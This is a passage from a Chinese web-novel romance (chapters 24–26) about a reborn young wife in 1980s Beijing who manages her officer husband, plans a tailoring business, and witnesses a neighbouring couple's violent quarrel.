不可避免的,洗完了还是在浴室里打了一炮,等把这个祖宗安顿好了,苗秀秀又一身汗,只得再次冲澡,等她从浴室出来,看到周北冀已经惬意地趴在大床上,吹着电风扇。
“上回去北京饭店,里面装了空调,在里面吃饭可凉快了,我们什么时候能用上空调就好了。”周北冀对苗秀秀说。
苗秀秀正在阳台上晾衣服,听到他的话,说:“那起码得过几年,而且空调刚上市的时候肯定不便宜,也不好买。”
“只要有的卖,我就能买到,目前国内根本没有厂家生产,我有朋友在德国,说那边家家都有空调。”周北冀和当时的很多年轻人一样,对国外丰富的物质生活无限向往,可惜碍于军人身份,没法出国开开眼界。
“德国确实先进,西门子、宝马、奔驰,都是好牌子。”苗秀秀上辈子在法国留学的时候,曾经游遍欧洲,但是不好和周北冀说太多,这家伙警觉得很,说多了他会发现。
“听说大众快进入中国了,到时候我也想弄一辆车开开。”周北冀在部队的时候经常开吉普,回雁京以后开车的机会反而少了。他爸爸有专车,但是从来不许他乱开。
“你啊,还是注意点吧,爸爸这么多年两袖清风,你又是军人,公车私用太显眼了。”苗秀秀从阳台上过来,在周北冀身边坐下,关掉顶灯,打开床头的落地灯,拿着棉签蘸上碘伏涂在周北冀背上。
“怕什么,我好多朋友都开车,耀然他哥就有一辆。”周北冀对别的事物还有限,开车和玩枪他有浓厚的兴趣。
“人家叶大哥级别不一样啊,人家已经是正团级了,你才副营级。”苗秀秀怕周北冀觉得疼,低头在他背上吹了吹,想让药水干快一点。
“你的小脑袋瓜子懂得还挺多,知道副营级不能配车,等我从军校毕业,回去我就能升一级。”周北冀笑着对苗秀秀伸出手去。嘴上说的是小脑袋瓜子,手握的依然是她的胸。
苗秀秀把他的手撩开,把烫伤膏均匀地涂抹在他背上。等她躺下睡觉,某人又蜘蛛一样爬到她身上。
“你有完没完?”苗秀秀简直有点招架不住,两天了,她都不记得他俩做了多少次,不管白天还是晚上,反正一有兴致就做,床上、沙发上、浴室里,到处都是战场。
“没完,这才到哪里。”周北冀邪邪地笑。
“咱俩整天闹,邻居会有意见的,今早我出去买菜的时候,遇到隔壁的王老师两口子,看我的眼神怪怪的,王老师他老婆方护士还问我,小周这两天都没去学校啊?你俩最近感情不错嘛,小周天天在家。”苗秀秀想起早上的事就尴尬,当时恨不得找个地缝钻进去。
“我在不在家关他们什么事啊,吃饱了撑的。”周北冀没好气。
苗秀秀对他的少爷脾气见怪不怪,笑着说:“你以前一星期才回一次家,回来也只住一晚,人家默认你就该不在家呗。”
“大不了明天我去买菜,你在家里休息。”
“你还会买菜?”
“有什么难的,不就是买菜。”
“不怕给别人看到啊,一个大男人去菜市场买菜,万一传到婆婆耳朵里,她又得怪我欺负你了。”苗秀秀勾了一下周北冀下巴,逗他。
“管别人怎么看呢,又不是天天买。”周北冀从小就被家里惯着,一向不大在乎别人的看法。
看样子他是铁了心要去买菜,也就是说,他又要折腾她一夜。苗秀秀看着伏在自己身上的男人,嘟着小嘴,也不是不喜欢,就是这两天被他折腾太狠了,她浑身酸痛,又上了一晚上课,很想多睡会觉。
好在周北冀也不是不懂节制的人,几个回合下来,看苗秀秀实在困了,也就放过她,搂着她睡觉。睡到半夜,苗秀秀嫌热,想推开他,却发现他已经睡熟了,手臂紧紧圈住她,像是孩子抱着心爱的玩具,怎么推都推不开,只得由着他。
次日一早,周北冀醒得早,看到苗秀秀还在睡,就没有吵醒她,穿上衣服出门买菜去了。一夜过去,他神清气爽,骑车都骑得特别轻快。
苗秀秀起床洗漱后去食堂买了两份早点,准备等周北冀买菜回来就把豆浆热一热和他一起吃。
李嫂来找苗秀秀,看到门开着,往屋里走了两步,看到苗秀秀正在拖地,问她:“我看到你家门开着,就知道你在家,你可真勤快,一大早就拖地。”
“还好吧,早上凉快点,拖地能少出汗。嫂子找我有事?”苗秀秀两辈子都爱干净,一闲着就在家里搞卫生。
“听说你家小周受伤了,给你送点鸡蛋,我老乡自己家里养的鸡。”
李嫂是个热情的人,经常会送东西给苗秀秀,苗秀秀自然也没亏待过她,
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周家有时候会送些不常见的特产过来,她会投桃报李送一些给李嫂。
“小周不在家啊?一大早就打球去了?”李嫂四下打量,没看到周北冀。
“他买菜去了?”苗秀秀去洗手间涮拖把。
“他买菜?”李嫂对周北冀的认知再次被打破,在她印象里周北冀这种大领导家的公子哥儿别说买菜了,家里的油瓶子倒了他都不会扶,可他居然能出去买菜。
难怪上回听食堂打饭的张红梅说,她到苗秀秀家里来裁衣服,小周对她很客气,还主动给她倒水,和以往那种眼高于顶的样子大相径庭。
苗秀秀看到李嫂子那种惊讶的表情,笑着说:“他自己主动要去买菜,我总不能不让他去吧,结婚大半年也就买过这一次。”
“秀啊,嫂子算是看明白了,你拿捏男人有一套,小周以前多傲啊,我们都不敢和他说话,现在他居然都能帮你出去买菜了。”李嫂对苗秀秀非常佩服。
她结婚都快二十年了,她丈夫也就在她坐月子那段时间帮她做过家务,后来就再也没做过,她一个人带三个孩子还要做家务,再忙再累也没指望过工作繁忙又大男子主义的丈夫能帮她,人家苗秀秀结婚还不到一年,就把领导家的公子给调教出来了。
“我也是长期和他斗争的结果,他以前也不干的,现在都是哄着他干。”苗秀秀可拿不准周北冀那家伙是不是三分钟热度,偶尔买菜洗衣服可能还当是乐趣,次数多了只怕会逆反。他以前也是游手好闲惯了的。
“愿意帮你分担就行,我每次让我那口子帮忙做点事,他总是说,男主外女主内,男人在外面忙事业,女人就该在家里相夫教子,洗衣服做饭带孩子是女人的本分。”李嫂忿忿不平可又说不过丈夫,几千年来的传统观念不是想打破就能打破。
“谁说的,没有人天生就应该做家务,请个保姆洗衣服做饭还得按月给人开工资呢,结了婚女人做家务不拿工资也就罢了,怎么就成了义务?明明是看在夫妻的情分上,才不和男人计较。毛主席都说了,妇女能顶半边天,我们女人出去工作也不会比男人差,不工作待在家里也是在替男人解决后顾之忧,得了便宜还卖乖,说的就是这些男人。”
苗秀秀发表的这番高论立刻就得到了李嫂的赞同。
李嫂说:“还得是你啊,小嘴叭叭的会说话,比蜂窝煤的心眼子还多,难怪小周都给你收拾服帖了。下回我们那口子再说女人就该洗衣服做饭,我就把你的话背给他听,毛主席都说妇女能顶半边天,我就不行他敢和毛主席抬杠。”
苗秀秀刚想说话,一眼看到周北冀像个门神一样站在李嫂身后,表情阴晴不定,暗道一声不好,自己的话不知道被他听去多少,他看起来好像有点不高兴。
但凡是个男人,都不会喜欢被人在背后议论他被媳妇收拾服帖了,更别说周北冀这样自视甚高的男人,没当场炸毛已经算是他涵养好。
李嫂察觉到背后有人,一看是周北冀,吓了一跳,挤出笑容和他打了个招呼,脚底抹油赶紧溜了。
周北冀把买来的菜送进厨房,没有回卧室,而是进了他自己的书房。苗秀秀蹑手蹑脚跑到书房门口听听动静,里面静悄悄的,猜测那家伙是不是在生闷气。
“我买了早点,你吃不吃?”苗秀秀敲了敲门。
“我吃过了。”周北冀的声音很冷。
25. 第二十四章
眼珠转了转,苗秀秀想了个主意,跑到厨房切了两个西红柿,装在饭盒里,撒上白糖,腌渍了十多分钟,确定已经入味,再次去推周北冀的门。
这次她门都没敲,直接拧开门把手,看到他侧身卧在躺椅上,扇子挡着脸,不知道在想什么,走过去拿开他脸上的扇子。
苗秀秀拿着勺子,主动挖了一勺糖拌西红柿送到周北冀嘴边,要喂他吃。
周北冀再生气也没法抗拒这样的柔情蜜意,更何况他实际上也没那么生气,他只是不喜欢苗秀秀和院里那些三姑六婆扯家长里短的时候扯上他。
普普通通的糖拌西红柿,苗秀秀就是有办法做的很好吃,周北冀自己吃了一大半,对苗秀秀说:“你和没和人家说,收拾男人第一步是收拾男人的胃?”
苗秀秀耸了耸鼻子,笑着在他脸上戳了一下,“我可没说要收拾你,不都是你自己心甘情愿的。”
“以后别和那些随军家属说东道西的,都是些没文化的家庭妇女。”
“家庭妇女怎么了,家庭妇女也是劳动人民的一部分,你瞧不起她们就是瞧不起劳动人民,脱离群众。”
“得了,别给我扣大帽子。看来我是不能对你太好,不然你迟早骑我头上。”周北冀抬起手宠溺地在苗秀秀脑门上弹了一下。
苗秀秀嘁了一声,“怎么,就许你骑我身上,不许我骑你头上,你这是学资产阶级玩双标啊,周北冀同志,你这思想很危险。”
周北冀笑了,一把搂住她,媳妇的嘴皮子是越来越溜了,他就喜欢她这种伶牙俐齿的样子,喜欢有个性的她。
把她搂在怀里亲了亲,周北冀亲昵地说:“你想骑我头上也不是不行,晚上的吧,咱俩换换,老是那一种姿势也怪腻的。”
就知道这家伙三句两句准没好话,苗秀秀吃了一块糖拌西红柿,从嘴里渡到他嘴里,两人吻来吻去把一饭盒西红柿全吃了。
“下回别说李嫂是家庭妇女,人家有工作。”
“什么工作?在小卖部卖酱油醋也叫工作?”
“怎么不叫工作,打酱油的临时工也是工人,有工资拿的。”苗秀秀一本正经地纠正周北冀。周北冀笑得不行。
苗秀秀在厨房做饭,周北冀听到电话铃响,从书房出来去卧室接听。电话又是周家打来的,沈芬玉在电话里叫儿子下午回趟家。
“又什么事?”周北冀有些不耐烦。现在他简直怕回家,他妈妈老给他上紧箍咒,让他烦不胜烦。
“怎么,我还不能叫你回家了?你娶了媳妇,就把老家给忘了?”沈芬玉听出儿子的不耐烦,不满地训斥了他一句。
周北冀一听这语气就头大,更年期的老太太不能招惹,态度赶紧软下来,“我不是这个意思,您有事说事吧,我听着呢。”
沈芬玉这才说:“你大哥托人从新疆送了两箱葡萄一箱哈密瓜过来,我知道你喜欢吃葡萄,想让你过来拿点回去,就这么点事,你都没耐心听妈妈说。”
为了配合语气,沈芬玉还有意叹了口气。
周北冀听到后心里一沉,大哥所在部队驻扎在新疆,一年到头也回不了一次家,托人送水果回家是为了孝敬父母,而他作为留在父母身边唯一的儿子,父母有什么好东西都想着他,他却连母亲电话都不想接,这让他觉得自己很过分。
“妈,对不起,我不是没耐心。”周北冀内疚地给母亲道歉。
“行了,你下午回来就行……秀秀就不用跟着过来了,天怪热的。”沈芬玉说完就把电话挂了。
周北冀琢磨她最后那句话的意思,似乎还是有话想和他说,回家拿水果只是个幌子,她不仅有话要说,还要单独和他说。
下午,苗秀秀去王府井百货买舒华的演出服衣料,周北冀则回了周家,他没告诉苗秀秀回家是听训话,只告诉她是过去拿水果。苗秀秀听到有新疆的葡萄吃还挺高兴的。
回到周家,周北冀还没来得及坐下,就被沈芬玉拉到一旁,掀起他衬衣要检查他背上的烫伤有没有好转。
“好不少了,这几天秀秀每天帮我消毒、涂药。”周北冀不想母亲过度担心。
背上的伤从最初的疼痛难忍已经过度到结痂的阶段,沈芬玉看着都替他疼,叹息一声:“你和秀秀以后注意点,别太出格,哪有小俩口打打闹闹还挂了彩的。”
“一时失手没注意。”
沈芬玉瞅了儿子一眼,叫小张把切好的西瓜端出来。周北冀拿起一块西瓜吃,西瓜又甜又沙,水分多,夏天吃起来特别过瘾。
“再养两天就回学校去吧,也不能耽误集训,国庆阅兵这样重大的事,要是被刷下来就太可惜了,这段时间中中在学校排练节目,周末都不回来了。”
沈芬玉把儿子拉到身边坐着,像小时候那样摩挲轻抚着他的鬓角,宝贝儿子怎么看都看不够。
周北冀嗯了一声,他也觉得在家里待两星期时间太长了,养伤一个星期也就差不多。
“最近你和秀秀处得还挺好的?”沈芬玉往后背靠在沙发上,开始要谈她的正事。周北冀脑海中瞬间拉响了警报,讪笑:“还好吧。”
儿子眼里那点小心思当妈的怎么可能看不出来,他这段时间连看苗秀秀的眼神都是不一样的,说起她的语气也和当初很不一样,沈芬玉也是从年轻时过来的,她知道这意味着什么。
“没想到她还有两把刷子,都能指挥你去买菜了,下回该指挥你洗衣服了吧?”沈芬玉似笑非笑看着儿子。
昨晚就洗过衣服了,周北冀在心里笑,脸上却不敢表现出来,说:“秀秀昨晚去夜校上课回家累了,早上我才会去买菜,以前都是她买菜。”
“她还上起了夜校?”沈芬玉更震惊了。苗秀秀这是要翻身农奴把歌唱了,不仅开始调教她儿子,也开始改造她自己。这样的变化不能说她不好,只是步子似乎大了点,难怪周围邻居都对这小俩口刮目相看。
“我给她报的名,她说她想多读点书,我也觉得她不能老在家里待着,应该找点事情做。”周北冀话里话外维护苗秀秀。
沈芬玉敏感地捕捉到这一点,笑问:“你好像有点喜欢她了,当初和你爸爸闹的时候你可是说过,永远不会接受包办婚姻,要和你爸抗争到底,怎么,被糖衣炮弹攻陷了?”
“妈——”周北冀有点臊,以前说过的话只代表以前,反复拿出来鞭尸有什么意思,他和苗秀秀都要往后看,于是反问他妈妈一句,”那您到底希不希望我们婚姻和睦?”
沈芬玉推心置腹地和儿子说:“我当然希望你俩能过得好,虽然我嫌她出身差文化水平也不高,可她父亲毕竟是为了救你爸爸才牺牲了的,你爸爸这个人善良又仁义,滴水之恩都要涌泉相报,何况还是这样的救命之恩。但是我也不希望你俩的婚姻仅仅是靠恩情来维系,那样你会很痛苦,儿子,你理解妈妈的话吗?”
周北冀点了点头。
沈芬玉说:“我看得出来,秀秀很喜欢你,但是你对她,似乎也就是最近才有了点好感,但愿是个好的开始,不过也要有节制。”
母亲高深莫测的话让周北冀一时间没听出来这是夸他,还是在提醒他,眉头皱了一皱,“您是不是又听到别人说了什么话?”
“住你隔壁的方护士跟你姐姐在一个医院上班,方护士告诉你姐姐,说你这几天和秀秀……唉,叫我怎么说你呢,闹那么大动静,人家邻居开着窗听得清清楚楚。”沈芬玉虽然是当妈的,可也不好和儿子谈这种事。新婚的小夫妻如胶似漆很正常,可被邻居听到,总归有点尴尬。
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周北冀没说话,笑着又拿起一块西瓜吃。沈芬玉看着他大口吃瓜的样子,想起他小时候的可爱模样,终究不忍心多责备。
年轻人爱玩就爱玩吧,反正他很快就要回学校,儿子虽然有点骄纵,可也不是拎不清的孩子,说给他心里有数也就罢了,都成家的人了,父母操心过头也不好。
“我姐和姐夫最近怎么样了?”周北冀问。
要说周家人还有什么心病,无疑就是周湘南和卢江宇的关系,这两夫妻从结婚那天起就相处得不好,三四年了一直磕磕绊绊。
“你姐不太好,最近又流产了。”沈芬玉提起大女儿和大女婿,忧心忡忡。好不容易小儿子的婚姻向着好的地方发展,大女儿这边却每况愈下。
“怎么又流了,这都第二个了吧。”周北冀知道姐姐下乡当知青的时候落下了病根,身体一直不是很好,头一个孩子就流产了,没想到第二个还是流了。
“实际上是第三个。”沈芬玉想了想,把压在心里好几年的秘密告诉小儿子,“你姐在大西北当知青的时候和支书的儿子结过婚,你是知道的,为了回城才和那人离了婚,当时她已经怀孕了,没告诉那家人,回城以后孩子都四个月了,我带她去医院引产,可能刮伤了子宫,所以她怀不住孩子。”
竟然还有这样的隐情,周北冀惊愕不已,当初他就很不理解,一向心高气傲的姐姐下乡以后怎么会选择和当地人结婚,听说她那个前夫连字都不认识几个。
“还不是为了能吃饱饭,那时候我和你爸都被打成□□关在牛棚里,她一个人在大西北插队,日子过得很苦,黄土高原的山区,吃不饱饭,人就会特别绝望,你姐她前夫虽然没什么文化,但是人不错,经常送吃的给她,一来二去两人就产生了感情,后来你姐考大学,也是那人瞒着家里偷偷给她报的名。”
沈芬玉想起那段岁月,觉得特别对不起几个孩子,那时候他们都还小,却要因为大人的事承受那么多不该承受的。
比起在新疆和西藏当兵的哥哥和下乡当了知青的姐姐,周北冀和周中中是幸运的,他们因为年纪小被送到上海外婆家,没有跟着父母吃苦。
“我一直以为我姐不喜欢姐夫是瞧不上他是县城出来的,现在想来很可能是因为我姐心里还爱着她原先那个丈夫,对不对?虽然那人不识字,但是两人有感情。”周北冀分析着。
大姐和姐夫以往相处时那种貌合神离的情形,外人一看就知道两人感情不太好,但是大姐还会爱着她的乡下前夫,却是周北冀怎么也没想到的。
当初他娶苗秀秀的时候,大姐也是站出来反对过的,说两人家庭背景学历见识都相差太多,门不当户不对,婚后不可能和谐相处,周北冀原先以为大姐不喜欢苗秀秀是因为想到她自己也曾被迫嫁给一个没文化的农村人,谁想到她竟然……
“我不知道她心里到底怎么想的,你姐从小就是个别扭精,卢江宇一个未婚青年还是个高级工程师,不仅不介意她是离过婚的,婚后还对她那么好,她却一点也不知足,不知道在别扭个什么劲。”
儿女虽然都是在沈芬玉身边长大的,但沈芬玉对他们也不是完全了解,尤其是沉默寡言的大女儿,她最不了解。
“姐夫知道我姐以前和前夫也流过产的事吗?”
“他不知道,我让你姐咬死了也别说这事,要是他知道你姐以前流产刮宫有可能导致无法生育,他肯定没法接受,就算他接受,他父母也接受不了。”
“那也不能瞒一辈子,而且我姐这样老是流产,对身体也是很大伤害。”周北冀想了想,“要不,我哪天找姐夫聊聊?”
“也好。”沈芬玉点头,“我也想找你姐说说,让她别再乱折腾自己的身体了,怀不上就去领养一个。”
26. 第二十五章
周家这边母子谈心,苗秀秀一个人在偌大的王府井百货转了一下午,她不仅买好了舒华那件演出服的金丝绒料子,还买了两块毛料,一块给周北冀做西装,另一块档次更高的纯羊毛衣料,则准备孝敬公公周明康,想替公公做一套新中山装,怎么说公公也是周家对她最好的人。
至于婆婆沈芬玉,苗秀秀对她还是有点抗拒,作为上海女人,又是知识分子,沈芬玉平常相当注重穿着打扮,一般的衣服她是看不在眼里的,苗秀秀准备选一块羊毛料子给她做一件大衣,样式她都想好了,绝对是二三十年后都还不过时的经典款。
在米色和驼色之间犹豫不定,苗秀秀决定都买了,婆婆看中哪个颜色就用哪个颜色给她做大衣,剩下的那块料子她自己做一件大衣穿。
路过卖鞋的柜台,苗秀秀又走不动路了,挑选了两双皮鞋一双运动鞋后,把身上带的钱花了个精光。找售货员要了一团塑料绳,才好不容易把买来的一大摞东西绑在自行车后座上。
大热天骑车回家口渴,可口袋里也就剩两毛钱,想买个冰淇淋吃都不够,苗秀秀回家拿了点钱,下楼去服务社买冰淇淋。
八十年代的盒装冰淇淋奶味很重,吃起来味道不错,苗秀秀买了好几盒,准备带回家放冰箱里慢慢吃。
周北冀远远看到她,有意放慢车速,快到她身边时,才抬手拍了一下她的背。苗秀秀被他吓一跳,转身见是他,没好气拧了拧眉,看到他额头上也有汗,舀了一勺冰淇淋送到他嘴里,周北冀吃下去,口腔里瞬间清凉了。
“你去拿个水果,这么长时间?”苗秀秀看到周北冀自行车后车座上绑着一个纸箱子,猜测箱子里放的应该就是葡萄和哈密瓜,和父母住得近就是这点好,周家有什么好东西他俩都能跟着沾光,不是新鲜的鱼虾海鲜就是各种时令水果。
“妈还和我说了些事情,回去跟你说。”周北冀现在心里存不住话,一点事情就想向媳妇汇报,他越来越觉得,媳妇并不是个头脑简单的女人,很多时候她的思想很有见地,甚至可以说很前卫。
小俩口回到家里,苗秀秀把冰淇淋塞进冰箱,又把水果洗了一部分,剩下的也放进了冰箱,端着洗好的水果回到卧室,看到周北冀正在看她买的那些衣料。
“你可真能花钱,一买就买这么多。”
“怎样,我花我自己挣的钱,又没花你的,你就得了心绞痛了?要不要我再给你来一记摧心掌?我还订了一套很贵的新餐具,下星期才到货。”
“没说不让你花,只是感慨,你每次去商场买东西,都像是搬家。”
周北冀倒不是心疼钱,也知道苗秀秀帮人做衣服小赚了一笔,只是苗秀秀每次去逛商场都像是要把店搬空,让他有点不理解,女人的购物欲怎么会这么强。
苗秀秀塞两颗葡萄到他嘴里,堵上他的嘴,“亲爱的,高品质的生活是需要物质支撑的,你想要光鲜亮丽、肤白貌美的老婆和赏心悦目的家,就得舍得花钱。”
周北冀笑了一声,坐到沙发上,打开电视看。
苗秀秀灵机一动,跑到他身边坐着,指着电视对他说,“你看《血疑》里山口百惠穿的衣服是不是特别好看,有一件带飘带的幸子衫现在满大街的姑娘都穿,我当初就是在杂志上看到剧照,才想起来学人家的款式做衣服,我光是做幸子衫就做了三四十件,赚了一百多块钱,要不是后来别的工厂量产,我还能继续赚钱。”
“不错,你还挺有经济头脑,而且你的裁剪水平连我大姐那种爱挑剔的人都说好。”周北冀夸媳妇的时候毫不吝啬,媳妇这么能干他觉得很欣慰。
苗秀秀滚进他怀里,搂着他脖子亲他,用糖衣炮弹腐蚀他,“那我能不能开个小店啊?老在家里做衣服,地方太小了,也会影响你。”
周北冀圈住她,耳鬓厮磨的时候自然是什么话都能说。
“你确定你的店能开得起来?这一带房租可不便宜,一个小店面每个月至少一百。”周北冀见媳妇实在喜欢裁剪,也就不再那么坚决反对,现在国家政策都在倡导搞活经济,他认识的很多人都辞去公职下海经商,他并不是思想僵化的老古董。
“这你放心,我只要能找到店面把裁缝铺开起来,就不会亏本,我做的衣服还挺受欢迎的。”苗秀秀对自己太有信心了,国家很快就会出台政策让一部分人先富起来,开裁缝铺只是第一步,下一步她还想联系工厂把她的设计量产,放在店里卖,虽然暂时只是小本经营,只要打开了销路,就不愁卖不掉。
“那你白天做衣服,晚上念夜校,会不会太辛苦了。”周北冀有点不放心,媳妇最近太有上进心了,他怕她身体吃不消。
“没事,只要你不老折腾我,我就不辛苦。”苗秀秀抿着嘴笑,眼神却分明在勾搭。这家伙也知道关心人了,有进步。
周北冀眼里含笑,“早上你还答应我,晚上陪我。我在家也住不了几天了,这星期过完我就回学校训练去。”
“可你的伤还没好呢,在烈日下训练流汗,万一伤口发炎了怎么办?”苗秀秀伸手到他背后,轻抚着他的背。他不在家,她一个人轻松自在,可她不便把这种情绪表现出来,得让他以为自己舍不得他回学校,他才会乖乖听她的。
“舍不得我啊?”周北冀低头吻在苗秀秀腮边。苗秀秀脸上飞起红云,像涂了一层胭脂,艳若海棠,轻轻嗯了一声,“不想让你走。”
“那我有空就回来,反正暑假学校管得也没平常那么严,晚上能回家我尽量回家。”周北冀也想每晚都回家睡,现在他晚上不搂着媳妇来几次床上运动都睡不着。
苗秀秀娇羞地把头埋在他心口,心里想的却是,等他一走就开始物色店面,要租就租临街的房子,到时候找人简单设计一下门面,隔一个试衣间给顾客试衣服。
创业之路即将开启,这让她莫名激动,主动去脱周北冀衣服。
她的大胆行动让周北冀又惊又喜,虽然他和大多数男人一样,在情爱这方面喜欢自己掌控一切,但是女人偶尔主动也能带来新鲜刺激,苗秀秀把他扑倒,让他兴奋不已。
这种事一旦上了头,谁还想到要注意影响,周北冀早把他妈妈下午说的话忘记到了爪哇国,陷在温柔乡里不愿出来。
邻居王老师的爱人、在海军总医院泌尿科工作的方护士下班经过他俩的家,又听到男欢女爱的声音,臊得她赶紧往家里走,心里念叨着,某些人真
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是又没节制又不要脸,怎么整天就知道做那事,白天晚上的,也做不够。
她在泌尿科工作十几年,看惯了男人那玩意,觉得那玩意太恶心了,连带着她也不待见自己丈夫,常年不想和他亲热。
方护士刚进家门,就被等在门口的王老师一把抱住了。
苗秀秀晚上还要去夜校上课,随便做了两碗葱油拌面当晚饭,没想到竟然被周北冀这个嘴刁的家伙吃中了。
他没想到苗秀秀能把简单家常的面条也做得这么酸辣适中有滋有味,简直要给老天爷磕三个头,觉得他老人家太眷顾自己了,媳妇身娇体软易推倒也就罢了,她的厨艺还这么好,真是哪哪儿都让他满意。
“秀,这葱油拌面真好吃,我还想吃。”周北冀吃了一碗觉得没饱。他现在在苗秀秀面前完全不想装酷装斯文,反正他已经把他最禽兽、最恬不知耻的一面都展现给她看了,多吃两碗饭能算什么。
苗秀秀没辙,只得再去做一碗,原本考虑到他饭量大,已经是给他盛了一大碗了,哪想到他还嫌不够吃。二十多岁的男人果然是龙精虎猛,干饭都比别人干得多。
再说,从苗秀秀进化到秀秀,再从秀秀进化到秀,她在他心里已经达成了质的飞跃,这才穿过来三个月,她不能更佩服自己,简直是个驭夫小能手。
隔壁传来打打闹闹和女人哭声,苗秀秀和周北冀皆是一怔,模范夫妻王老师两口子也会打架?这是出了什么大事?
筒子楼隔音不好,家家户户几乎都没有秘密,谁家两口子吵架、谁家大人教育孩子、谁家婆媳不和,上下邻居全都听得清清楚楚,王老师家里传出来的声音,已经引起了好些好事者的注意,纷纷出来看热闹。
苗秀秀丢下饭碗就出去看热闹,周北冀见她嘴都顾不上擦就跑出去,只得跟上她,拿着手绢替她擦掉嘴角的油。
“王大洲你丫挺的,不要脸的色狼、强·奸犯。”方护士骂得歇斯底里。王老师一个劲哀求,“老婆你小声点,给别人听到会笑话。”
“谁是你老婆,这日子没法过了,离婚,我现在就要离婚。”
又是一阵打骂,王老师似乎也被逼急了,“离就离,今天谁不离谁是孙子,这日子我他妈的也过够了,我当初真是瞎了眼,娶了个尼姑回家,人家结婚四五年早就生小孩了,我结婚四五年,老婆碰都不让我碰。”
“不要脸,满脑子都是床上那点破事,恶心。”方护士大骂。
噼里啪啦也不知道是谁在打谁耳光,紧跟着是开门的声音,苗秀秀下意识往周北冀身边躲,周北冀把媳妇护在怀里。
王老师从家里冲出来,身上只穿着背心裤衩,往日的斯文形象全无,头发被抓得乱七八糟不说,眼镜也耷拉在脸上,脸上红红的几道被抓出来的血印子,显然是挨了他老婆好几个大耳刮子。
没走几步,屋里扔出来一只凉鞋,打在王老师背上。
“滚!你有种永远别回来。”方护士手叉着腰站在门口叫骂。
围观的众人这才发现,方护士也没好到哪里去,身上的裙子被撕得破破烂烂,内衣都露了出来,她还光着脚,一只手提着另一只凉鞋,很显然之前是用凉鞋打她丈夫。
27. 第二十六章
这夫妻俩打架的情形过来人一看便知,无非是丈夫求欢被拒恼羞成怒,妻子反应过激把丈夫当强·奸犯。在场的人都很不理解,王老师一向都是个模范丈夫,家务活全包不说,偶尔被妻子数落训斥也都是低着头一句话都不说,怎么忽然就爆发了?
众人更不能理解的是,都夫妻了,过夫妻生活不是很正常吗,就算不是晚上,方护士也不至于骂丈夫是强·奸犯吧?尤其王老师最后那句话,结婚四五年老婆不让他碰,就更让在场的男人们义愤填膺,这媳妇不打不行,哪有结了婚不让碰的?
越过众人,方护士一眼看到隔壁周家的小夫妻俩,苗秀秀那个骚里骚气的小狐狸精扭着一张事后餍足的脸被她丈夫抱在怀里,正探头探脑看自己笑话,啐了她一口。
原来还以为周家这个农村小媳妇是个本分人,哪知道才装了半年多就暴露了本性,打扮得妖妖娆娆的不说,白天黑夜缠着她丈夫做那种事,真是不要脸到家了,方护士在心里把苗秀秀鄙视个彻底。
方护士把家门啪一声关上,准备一辈子不让丈夫回家。围观群众见没热闹好看,三三两两退去,苗秀秀拖着周北冀的手回到家里,一关上门夫妻俩双双笑弯了腰。
“王老师好惨。”苗秀秀想起王老师之前冲出家门时的狼狈样子就好笑。他连外裤都没穿,就穿着个裤衩,显然也是被气得够呛,豁出去不要面子了。
“谁说不是呢,方护士好凶。”周北冀搂着自己软软娇娇的媳妇,觉得特别幸运。要是给他遇上个厉害媳妇,他怕是也要离家出走。
“你们男的也太那个了,怎么都那么喜欢强·奸?”苗秀秀有意碰了一下周北冀背上的烫伤,像是在提醒他,他也不是什么好东西。
“谁喜欢强·奸了,你别当自己是机关枪,动不动扫射一大片。”周北冀虽然闹不清王老师夫妻俩打架的内情,但也不赞成苗秀秀这么乱讲话。
“方护士该不会是个性冷·淡吧?她这几天见了我总是阴阳怪气的,是不是咱俩整天啪啪刺激到她了?她这样下去很容易内分泌失调的。”
苗秀秀以前和古板严肃的方护士不过是点头之交,自从她变美这些日子,方护士每次见到她都把头昂得高高的不理她,仿佛她是什么不干净的生物,沾上她就会有细菌。
周北冀说:“有可能,而且她心理变态,自己不愿意和丈夫啪啪,听到别人啪啪也不高兴,活像外国电影里古板阴森的老修女。”
周北冀把下午回家时沈芬玉和自己说过的话一五一十告诉媳妇,苗秀秀一听就不高兴了,嘴巴噘上天,没好气,“不在沉默中恋爱,就在寂寞中变态,看不惯人家夫妻恩爱,咱俩以后就不关窗,每天啪啪给她听,气死她。”
“你确定每天都要?”周北冀坏笑着望着苗秀秀,深邃的眼神发出狼一样的光。苗秀秀龇牙做了个鬼脸,装作含羞问他:“男人是不是都挺在乎这个的?”
“当然在乎,结婚的目的除了生儿育女,合法啪啪也是目的之一,不然干嘛结这个婚,就为了收彩礼?”
“就不能为了爱情?”苗秀秀仰着脸看周北冀做纯情状。
“当然,有爱情更好,爱情对婚姻来说是锦上添花,没有爱情,只把婚姻当成搭伙过日子的夫妻也不在少数,爱情不是维持婚姻的必要条件,更不可能是唯一条件。”
周北冀看问题也很通透,这让苗秀秀心里有种说不出的滋味,问他:“那咱俩有爱情吗?你爱我吗?”
周北冀低头看着她,见她眼波流转,笑了一笑,“不是正在培养吗,咱俩结婚前又不认识,说有多深的爱情,你自己也不信啊。”
他倒是很诚实,一点也不虚伪,苗秀秀嘟着嘴吻了他一下,“我相信你会爱我的,就像我喜欢你一样。”周北冀抱住她,加深了这个吻。自从他俩开始腻歪,每天吻来吻去,吻技突飞猛进,是除了□□以外最令他俩沉迷的事。
晚上,送苗秀秀去夜校之后,周北冀独自骑车回家,在大院门口看到蹲在马路边的王老师。那种落魄无助的样子,像是进城务工却找不到门路的农民。
王老师也看到周北冀,站起来主动叫了他一声,“小周——”
周北冀脚一搭,在他身边停下车,“王老师,您有事?”
“能不能借我点钱?我出来匆忙没带钱,这个时候回家她也不会让我进家门,我先找个地方凑合一夜,明早再回家谈离婚。”
王老师有点羞赧地哆嗦着两条细长腿。他从家里出来的急,外裤都没穿,身无分文更是连个去的地方都没有。
周北冀从裤子口袋里掏了两张大团结给他,王老师连连道谢。
“您真的想好了决定离婚?可别一时冲动啊,将来要后悔的。”周北冀劝王老师想清楚。
王老师叹了口气,“今天的情形你都看到了,我和她真的是过不下去了,以前觉得她是个知识分子应该通情达理,哪知道结婚后才发现她不仅脾气古怪,她还……唉,不说了,说出来都让人笑话。”
“附近就有小旅馆,不如我送你过去吧。”周北冀看王老师穿着拖鞋,主动提出要骑车送他去旅馆。
王老师自然同意,感激地说:“那就谢谢你了。”“客气什么,都是邻居。”周北冀示意他坐上车后座。
王老师坐在后座上,心里感慨万千,他在军区子弟小学教高年级数学,一年到头兢兢业业工作、对妻子也是百依百顺,却不料这样狼狈被对方赶出家门。
